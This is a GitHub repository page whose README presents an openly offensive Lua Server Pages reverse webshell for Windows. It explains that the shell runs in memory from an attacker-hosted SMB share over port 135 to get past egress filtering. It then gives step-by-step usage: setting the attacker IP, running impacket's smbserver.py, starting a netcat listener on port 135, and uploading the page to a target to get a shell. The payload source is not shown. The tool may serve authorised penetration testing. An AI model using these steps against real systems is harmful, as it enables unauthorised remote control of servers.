Skip to content

the-emmons/lsp-reverse-shell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 

Repository files navigation

LSP Reverse Shell

A Lua Server Pages reverse webshell for Windows. I noticed there was no '.lsp' webshell of any sort available online, so now there is.

Since the Lua sockets module (the traditional Lua reverse shell method) often isn't installed, this webshell opts instead to execute a reverse shell in-memory off of an SMB share.

The reverse shell port is set to 135 to avoid any egress issues.

Be sure to install impacket if it isn't already installed, since you'll need smbserver.py.

Usage:

  • git clone https://github.com/the-emmons/lsp-reverse-shell
  • cd lsp-reverse-shell
  • Change the IP address in 'rev.lsp' to your machine.
  • sudo smbserver.py SMB . -comment share -ts -debug -smb2support -username user -password 'pass'
  • Start a listener in another window with sudo nc -nlvp 135
  • Upload the 'rev.lsp' file, open the page, and you should immediately catch a shell.